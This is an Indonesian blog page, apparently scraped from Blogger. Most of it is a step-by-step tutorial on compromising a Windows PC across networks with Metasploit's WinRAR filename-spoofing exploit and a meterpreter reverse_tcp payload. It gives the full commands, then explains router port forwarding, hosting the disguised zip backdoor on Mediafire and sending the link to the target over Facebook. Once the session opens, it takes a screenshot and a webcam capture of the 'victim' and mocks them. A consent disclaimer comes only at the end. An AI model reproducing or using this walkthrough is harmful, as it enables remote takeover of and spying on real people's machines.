<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggkOBYh8X3l3p_oeSOH_zu2z7bhgnDwPi8i8iZ__cqP76wR0UpPnegTJS73uwo8ATaPeVVUlxgpNpiJfHmMMOxV9CaLOZTIVIcxE1b9buHKDI3Skxbrp9JDG83bh1eVlM1n7uuc3K3c3I/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="scanning SSID" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggkOBYh8X3l3p_oeSOH_zu2z7bhgnDwPi8i8iZ__cqP76wR0UpPnegTJS73uwo8ATaPeVVUlxgpNpiJfHmMMOxV9CaLOZTIVIcxE1b9buHKDI3Skxbrp9JDG83bh1eVlM1n7uuc3K3c3I/s320/6.png" title="Install LinSSID di Backbox Linux" width="320" /></a></div>
<br /></div>
Seperti yang kalian lihat pada gambar di atas, LinSSID menampilkan rincian nama SSID, MAC, Channel, Security, Privacy, Protocol, Cipher, Quality, dan Signal, Kalian juga dapat menampikan informasi lainnya seperti rincian bandwith dll dengan cara Klik Menu View  dan pilih opsi yang diinginkan. LinSSID juga dapat menampilkan grafik kekuatan sinyal oleh saluran dan dari waktu ke waktu. Selain itu, Ia bekerja baik di 2.4Ghz, dan saluran 5GHz<br />
mungkin cukup itu yang bisa saya share kali ini, semoga bisa bermanfat untuk kita semua.</div>
</div>

Install LinSSID di Backbox Linux

LinSSID merupakan sebuah aplikasi sederhana yang dapat digunakan untuk mencari sebuah SSID yang terdsedia, LinSSID adalah aplikasi open so...

Baca selengkapnya »

Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)

<div style="text-align: justify;">
Sebelumnya saya ucapkan selamat tahun baru 2016, semoga ini menjadi lembaran baru yang lebih baik, semoga lebih maju dan sukses untuk kita semua. di awal tahun ini saya masih membahas tentang metasploit, saya akan memberikan tutorial tentang cara Exploit Windows Menggunakan Winrar, oke langsung saja di simak langkah-langkahnya</div>
<div style="text-align: justify;">
<br /></div>
pertama kita jalankan service porsgresql dan metasploit terlebih dahulu<br />
<blockquote class="tr_bq">
service postgresql start<br />
service metaploit start</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWeYurwX9fvF7YULV6VfcX1T1fX9WqhU9Sb6TGbh_evOOQPy410WqrTnxj2jz_JSo9-O10y5c20r9I4U3loPGJ7Ru2UVQT-Ct8xaNI9QN0HheJ4Z-Sg0I1ec72HRQ0XnnyDyhf6v9f_PM/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="service mwtasploit start" border="0" height="79" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWeYurwX9fvF7YULV6VfcX1T1fX9WqhU9Sb6TGbh_evOOQPy410WqrTnxj2jz_JSo9-O10y5c20r9I4U3loPGJ7Ru2UVQT-Ct8xaNI9QN0HheJ4Z-Sg0I1ec72HRQ0XnnyDyhf6v9f_PM/s320/1.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
<div>
selanjutnya buka msfconsole<br />
<blockquote class="tr_bq">
msfconsole</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0WbWX21prlvpkipe4C1d_fnKb_Qru22jlBguxeguui-z8QB4Qa8OsRJ8Q5PtEbF2ieq32VJsA93XZYnmPAfse1wmm6XLbB62H-rq0hygWZI-FQS9KlfKF7Fl9JTQTrXrks4wkGXjO520/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0WbWX21prlvpkipe4C1d_fnKb_Qru22jlBguxeguui-z8QB4Qa8OsRJ8Q5PtEbF2ieq32VJsA93XZYnmPAfse1wmm6XLbB62H-rq0hygWZI-FQS9KlfKF7Fl9JTQTrXrks4wkGXjO520/s320/2.jpg" title="Exploit Windows Menggunakan Winrar" width="320" /></a></div>
<br />
<div>
<div style="text-align: justify;">
Setelah msfconsole terbuka kita buat backdor dengan format .zip, ikutin saja perintahnya</div>
<blockquote class="tr_bq">
use exploit/windows/fileformat/winrar_name_spoofing<br />
set payload windows/meterpreter/reverse_tcp<br />
set filename Template_Anherr.zip<br />
set spoof template.txt<br />
set lhost 36.70.XXX.XXX<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ib78VRukYDALXA7_Xi-hJis_mTfM8R-hjZR5KuQKEZJuSY6gRVZ1hfOlOdG70cEQRrTVPh0ZhsL6UOj4gzikfDttCzh0PbuLpwrjNVSt-7fSOGMVivT2bJXEOgkpn8VRA9zocfnFiC0/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use exploit/windows/fileformat/winrar_name_spoofing" border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ib78VRukYDALXA7_Xi-hJis_mTfM8R-hjZR5KuQKEZJuSY6gRVZ1hfOlOdG70cEQRrTVPh0ZhsL6UOj4gzikfDttCzh0PbuLpwrjNVSt-7fSOGMVivT2bJXEOgkpn8VRA9zocfnFiC0/s320/3.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
Keterangan:<br />
Temmplate_Anherr.zip >> Nama File backdor yang di buat (saya ilustrasikan ini  merupakan template blog)<br />
Template.txt >> isi dari Temmplate_Anherr.zip<br />
36.70.XXX.XXX >> Ip Public</div>
<div>
<div style="text-align: justify;">
kenapa saya lhostnya menggunakan ip public, ya karena target yang akan  di exploit kali ini adalah berbeda jaringan. jangan lupa jika menggunakan ip  public kalian harus setting port foward pada router. ceklist pada DMZ Enabled<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRKYUmkZuBysaFjKO3MrXMh-OCBN2AP-mX5QuihLdNPv3OUgENPU9B7hJZUezbAQpDWYX7u2U7KRaGGQiTcGtw_6rUu6FqUBKqgnjClF31hH7qGVMtvzHD3buALjsZ4CrhysWdyRV4Tbg/s1600/set-modem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Setting DMZ router" border="0" height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRKYUmkZuBysaFjKO3MrXMh-OCBN2AP-mX5QuihLdNPv3OUgENPU9B7hJZUezbAQpDWYX7u2U7KRaGGQiTcGtw_6rUu6FqUBKqgnjClF31hH7qGVMtvzHD3buALjsZ4CrhysWdyRV4Tbg/s320/set-modem.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br /></div>
Selanjutnya kita ambil backdoor tadi di folder /root/.msf4/local/ Kemudian upload , disini saya uplod di mediafire, kalian juga bisa coba tempat upload file yang lain.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdlm6ximLl0o0jffU5uGqs2iwK1mXyMBFfo0AoZpf_AcZxvK767Xl03amX3QI8wYLfIeaFn1DuEOnTeEQBA2CsCRfO7Pp0lVG0m_PVX0JLPorQ874ZYDDIJvWOznFM16bpzRbS0JCMqsM/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="upload mediafire" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdlm6ximLl0o0jffU5uGqs2iwK1mXyMBFfo0AoZpf_AcZxvK767Xl03amX3QI8wYLfIeaFn1DuEOnTeEQBA2CsCRfO7Pp0lVG0m_PVX0JLPorQ874ZYDDIJvWOznFM16bpzRbS0JCMqsM/s320/4.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9fxRcDYdgU0Tw9RQQgtqQWe4AfZeyabD1POCCiRt2U4CLfUrWhXG4ppPjDCpY2bldPPDo2lRs57RctSYY4fJA_YhL5dMFFQupoXFdyCPLc7CQvzeyEjfUHq9NKWY7_aLLA1bhuqnIX2w/s1600/5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mediafire" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9fxRcDYdgU0Tw9RQQgtqQWe4AfZeyabD1POCCiRt2U4CLfUrWhXG4ppPjDCpY2bldPPDo2lRs57RctSYY4fJA_YhL5dMFFQupoXFdyCPLc7CQvzeyEjfUHq9NKWY7_aLLA1bhuqnIX2w/s320/5.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
oke setelah pembuatan backdoor selesai dan di upload, kita jalankan perintah exploit<br />
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload windows/meterpreter/reverse_tcp<br />
set lhost 192.168.1.06<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC_qCb3GuCdmnafE4rN7Bt10whfMFwGtjbm5YnlRJe1loKU6kCZF4KNUys-Pw6o_WPh3BfsNyOxYNSSdXutX-C-aYaUQPDPYnlFJvLb9ZwXffdDv68hSFMCvwbCrR3iJZClKadN4t1r3A/s1600/6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use exploit/multi/handler" border="0" height="76" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC_qCb3GuCdmnafE4rN7Bt10whfMFwGtjbm5YnlRJe1loKU6kCZF4KNUys-Pw6o_WPh3BfsNyOxYNSSdXutX-C-aYaUQPDPYnlFJvLb9ZwXffdDv68hSFMCvwbCrR3iJZClKadN4t1r3A/s320/6.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
Catatan: untuk lhost isikan ip local</div>
<div>
<div style="text-align: justify;">
setelah itu kita berikan backdoor tersebut ke target, berikan link yang buat download backdoor tadi ke target :D<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6JqtQc6GJg_GUkHiJSqA-n8hGLGyJFtOrABH-RXawRX5U_Jkw4WOgFyneHHdEmHWHQO1yTX8dbxP3ebB4GHBeAmjdD8GOGFXK_n7IIJNcLjliuFPpmXsrjiwAtNRJ4linj24hYUigVD0/s1600/7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="kirim fb" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6JqtQc6GJg_GUkHiJSqA-n8hGLGyJFtOrABH-RXawRX5U_Jkw4WOgFyneHHdEmHWHQO1yTX8dbxP3ebB4GHBeAmjdD8GOGFXK_n7IIJNcLjliuFPpmXsrjiwAtNRJ4linj24hYUigVD0/s320/7.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="249" /></a></div>
<br /></div>
<div style="text-align: justify;">
Kita tunggu dulu broo, sampai targett download dan membuka file backdoor tadi</div>
dan taraaa...!! ternyata exploit berhasil, meterpreter session opened :v<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY-DWgzaFTGEakkxIbs5T1qQ184jlINWIQK2qt0gO-whGNDIiYxCh2QP2n_XQZDY6gFwHF5Cmjw8OAR12Am_5tJ3ytRLWzo-7DodnD6kMAqybbg3gKbWvAHQzH-WdYXXMwF2Rc1Lyirns/s1600/8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Meterpreter sessions 1 opened" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY-DWgzaFTGEakkxIbs5T1qQ184jlINWIQK2qt0gO-whGNDIiYxCh2QP2n_XQZDY6gFwHF5Cmjw8OAR12Am_5tJ3ytRLWzo-7DodnD6kMAqybbg3gKbWvAHQzH-WdYXXMwF2Rc1Lyirns/s320/8.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
Saya coba cek informasi sytem korban<br />
<blockquote class="tr_bq">
sysinfo</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfiLLCSbp3e5tj0gBJWOMZeAPDKgCCorgYSITiAtMtTusqakDrs4O9DLYYzNMrEps3QGUaaybJqQJ3Chc3-0-YZPXolVSUTi-GY5BZgN5gZroB8CmVPwKzKHZeCHoVFdskpZijFTO24mc/s1600/9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfiLLCSbp3e5tj0gBJWOMZeAPDKgCCorgYSITiAtMtTusqakDrs4O9DLYYzNMrEps3QGUaaybJqQJ3Chc3-0-YZPXolVSUTi-GY5BZgN5gZroB8CmVPwKzKHZeCHoVFdskpZijFTO24mc/s320/9.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
Selanjutnya saya coba ambil  screenshot laptop korban , dan coba capture wbcam korban<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipUrptH31DoroOUyBR2_kJ2Mxwi7o1lu9r9dDgwBt3WgpLssY09wi7bbzuvUbU006jWcJ3Eu7-AtTTHc3p-ufd9SayC8OdAmKoFScqqKjuMKi1gnwpyx9duTWBeEanX6QTAMgzFYnd9bM/s1600/10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipUrptH31DoroOUyBR2_kJ2Mxwi7o1lu9r9dDgwBt3WgpLssY09wi7bbzuvUbU006jWcJ3Eu7-AtTTHc3p-ufd9SayC8OdAmKoFScqqKjuMKi1gnwpyx9duTWBeEanX6QTAMgzFYnd9bM/s320/10.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
ini hasilnya<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiv5cvEklcpGqQnUe8w0h-jx28POHhtjDjg80KIH1FoJcvA6Bik9FRoBVTw4hgLxYHDKWSnlcqE-IdmJOmsp7cxIuzIykc-aJSjmMSPM09sdcMePTan83Y7_Vl33b6kLOfYLiDQ76kCx0/s1600/capture.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="screenshot victim" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiv5cvEklcpGqQnUe8w0h-jx28POHhtjDjg80KIH1FoJcvA6Bik9FRoBVTw4hgLxYHDKWSnlcqE-IdmJOmsp7cxIuzIykc-aJSjmMSPM09sdcMePTan83Y7_Vl33b6kLOfYLiDQ76kCx0/s320/capture.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaFgnkHP0B9yoxnu-3vPvXGQSH3KtE50zZB9kEcVkiAmG0ZqSrx-aspc9FeHgf4jQN8KLk-A26KosDdJkjZjV1yJkAHqfKBgV-SftMhxTHpGrte8FKxgxuklsY2z1y6Ti4RRI602Dgqak/s1600/webcam_snap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bubun Galau" border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaFgnkHP0B9yoxnu-3vPvXGQSH3KtE50zZB9kEcVkiAmG0ZqSrx-aspc9FeHgf4jQN8KLk-A26KosDdJkjZjV1yJkAHqfKBgV-SftMhxTHpGrte8FKxgxuklsY2z1y6Ti4RRI602Dgqak/s320/webcam_snap.jpg" title="Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)" width="320" /></a></div>
<br />
sepertinya dia lagi galau broo,wkwkw<br />
udah segitu aja percobaan kali ini<br />
<div style="text-align: justify;">
ini hanya untuk pembelajaran semata, target saya disini adalah temen saya sendiri, sebelumnya saya sudah  meminta  dan sudah di beri izin untuk melakuakn percobaan ini. penyalahgunaan dari tutorial ini itu diluar tanggung jawab saya.</div>
</div>
</div>
<div style="text-align: justify;">
oke sekian tutorial  mengenai cara <b>Exploit Windows Menggunakan Winrar dengan Metasploit </b>semoga bermanfaat bagi kita semua.</div>

Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)

Sebelumnya saya ucapkan selamat tahun baru 2016, semoga ini menjadi lembaran baru yang lebih baik, semoga lebih maju dan sukses untuk kita ...

Baca selengkapnya »

Anherr Blog's

Sting Category

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

Cara Menjalankan Metasploit Framework di Kali Linux 2.0

Menyamarkan Backdoor Seperti File Installer (.exe)

Email Harvesting dengan Metasploit di Kali Linux

Exploit Android dengan Metasploit IP Public

Install LinSSID di Backbox Linux

Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)

Popular Posts

Recent Post

Blog Archive